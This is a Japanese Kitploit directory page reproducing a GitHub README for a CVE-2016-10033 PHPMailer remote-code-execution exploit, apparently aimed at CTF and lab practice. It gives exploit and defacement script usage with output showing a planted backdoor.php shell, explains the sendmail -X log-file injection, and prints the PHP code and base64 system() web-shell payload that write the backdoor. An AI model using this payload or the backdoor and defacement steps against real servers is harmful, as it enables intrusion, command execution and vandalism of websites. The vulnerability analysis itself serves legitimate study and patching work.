Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
opsxcq-cve-2016-10033 — CTFS.meの問題を解決するために | Kitploit
ツール/GitHubGitHub/awidardi/opsxcq-cve-2016-10033
脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育ペイロード開発ラボと実践
GitHubawidardi/opsxcq-cve-2016-10033

opsxcq-cve-2016-10033

CTFS.meの問題を解決するために

リポジトリを見る
198年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PHPMailer < 5.2.18 リモートコード実行

Docker Pulls License

PHPMailerは世界で最も人気のあるトランスポートクラスであり、推定900万人のユーザーが世界中にいます。ダウンロードは毎日かなりのペースで続いています。多くのオープンソースプロジェクト(WordPress、Drupal、1CRM、SugarCRM、Yii、Joomla!など)で使用されています。

バージョン5.2.18より前のPHPMailerには、リモートコード実行(RCE)につながる可能性のある脆弱性が存在します。PHPMailerのisMailトランスポートにおけるmailSend関数は、Senderプロパティが設定されていない場合、リモートの攻撃者がmailコマンドに追加のパラメータを渡し、細工されたFromアドレス内の"(バックスラッシュ二重引用符)を介して任意のコードを実行できる可能性があります。

脆弱な環境

テスト用の脆弱な環境をセットアップするには、Dockerがインストールされている必要があります。次のコマンドを実行するだけです。

docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

これにより、ホストの8080ポートに脆弱なWebアプリケーションが起動します。

vulnerable

エクスプロイト

このターゲットをエクスプロイトするには、次のコマンドを実行します:

./exploit host:port

この脆弱なイメージを使用している場合は、次のコマンドを実行します:

./exploit localhost:8080

エクスプロイト後、backdoor.phpというファイルがWebディレクトリのルートフォルダに保存されます。そして、エクスプロイトはシェルを提供し、バックドアにコマンドを送信できるようになります。

./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> 

これでシェルが取得できました。別のエクスプロイトもあり、別の使用例を示しています。

./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting

そして、ページをもう一度訪問すると、次のように表示されます:

defaced

脆弱なコード

このコミット以前のclass.phpmailer.phpでは、特定のシナリオにおいて送信者のメールアドレスの特殊文字にフィルタがありません。この欠陥により、mail関数を介してリモートコード実行につながる可能性があります(こちら)。

コードを分析すると、mailSend()関数にフィルターがありません。

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Senderは直接$params変数に追加されます。この変数はvalidateAddress()関数でフィルタリングされますが、RFC 3696仕様を使用しているため、問題を引き起こす特定の文字が許可されます。この場合、引用符です。

In addition to quoting using the backslash character, conventional double-quote characters may be used to surround strings. For example

"Abc@def"@example.com

"Fred Bloggs"@example.com

are alternate forms of the first two examples above. These quoted forms are rarely recommended, and are uncommon in practice, but, as discussed above, must be supported by applications that are processing email addresses. In particular, the quoted forms often appear in the context of addresses associated with transitions from other systems and contexts; those transitional requirements do still arise and, since a system that accepts a user-provided email address cannot "know" whether that address is associated with a legacy system, the address forms must be accepted and passed into the email environment.

RFC全文はこちらで読めます。さらに、PHPのバージョンが5.2.0未満で、PCREがインストールされていない場合、validateAddress()内の$patternselect変数はnoregexに設定されます。これにより、入力は正規表現チェックを回避できるようになります。次の小さな検証のみを通過します。

            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

その後、コードフローはmailPassthru()関数に進みます。この関数は、safe_modeで実行されている場合、この脆弱性の影響を受けません。次のコードがそのことを示しています。

        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }

しかし、safe_modeで実行されていない場合、特別なパラメータがmail()に渡され、運が良ければ、任意の内容を含むファイルを選択した場所に書き込むことができます。

PHP mail() 関数のエクスプロイトに関する注意

PHPのmail()関数のエクスプロイトは新しいものではありませんが、今でも生き続けており、人々は依然として使用しています。その仕組みを説明するために、mail()関数の定義を見てみましょう。

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

さまざまな結果を得るために複数のエクスプロイト手法がありますが、ここでは5番目のパラメータのエクスプロイトに焦点を当て、リモートコード実行(RCE)を取得します。$additional_parametersパラメータは、メール送信用に設定されたプログラムにコマンドラインオプションとして追加のフラグを渡すために使用されます。この設定はsendmail_path変数によって定義されます。

PHP公式ドキュメントからのセキュリティに関する注意:

The additional_parameters parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmiail option.

This parameter is escaped by escapeshellcmd() internally to prevent command execution. escapeshellcmd() prevents command execution, but allows to add additional parameters. For security reasons, it is recommended for the user to sanitize this parameter to avoid adding unwanted parameters to the shell command.

注入可能な追加パラメータを考慮すると、-Xを使用してこの脆弱性をエクスプロイトします。-Xパラメータの詳細:

-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.

他にも知っておくべき興味深いパラメータがいくつかあります:

-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.

および

-O option=value
Set option option to the specified value. This form uses long names.

-Oオプションの場合、QueueDirectoryが最も興味深いオプションです。このオプションはメッセージをキューに入れるディレクトリを選択します。

パラメータとオプションの全リストを読むには、man sendmailを実行するか、こちらでオンラインで読んでください。

この情報と、少なくとも他のパラメータのいずれかを制御できる能力に基づいて、ホストをエクスプロイトできます。以下は、成功するエクスプロイトの手順です。

  • $additional_parametersともう1つのmail()パラメータを制御する
  • ターゲットシステム上で書き込み可能であり、ターゲットシステムとユーザー(例:www-data)からアクセス可能なディレクトリを知っている。通常、このディレクトリはwebroot以下(例:/var/www/html、この例では/www)の任意のディレクトリです。
  • 任意のPHPペイロード(この例ではシンプルなsystem()ペイロードを使用し、base64と特殊文字|を追加して解析を容易にしています)
  • すべてを組み合わせるだけ!

-Xオプションは、指定したディレクトリにログファイルを書き込みます。ログファイルには、ログ情報の中にPHPペイロードが含まれます。脆弱なPHPコードの例:

$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);

上記のコードを実行すると、/www/backdoor.phpにログファイルが作成されます。これがこのエクスプロイトの本質です。

ペイロード

以下はこの例で使用されたペイロードです

<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>

バグを追いたい、次はどうする?

この脆弱性を簡単に1コマンドで見つける方法が欲しいですか? この魔法のgrepコマンドを覚えておいてください!

grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *

このリポジトリに対して実行すると次の結果が得られます

ツールをダウンロード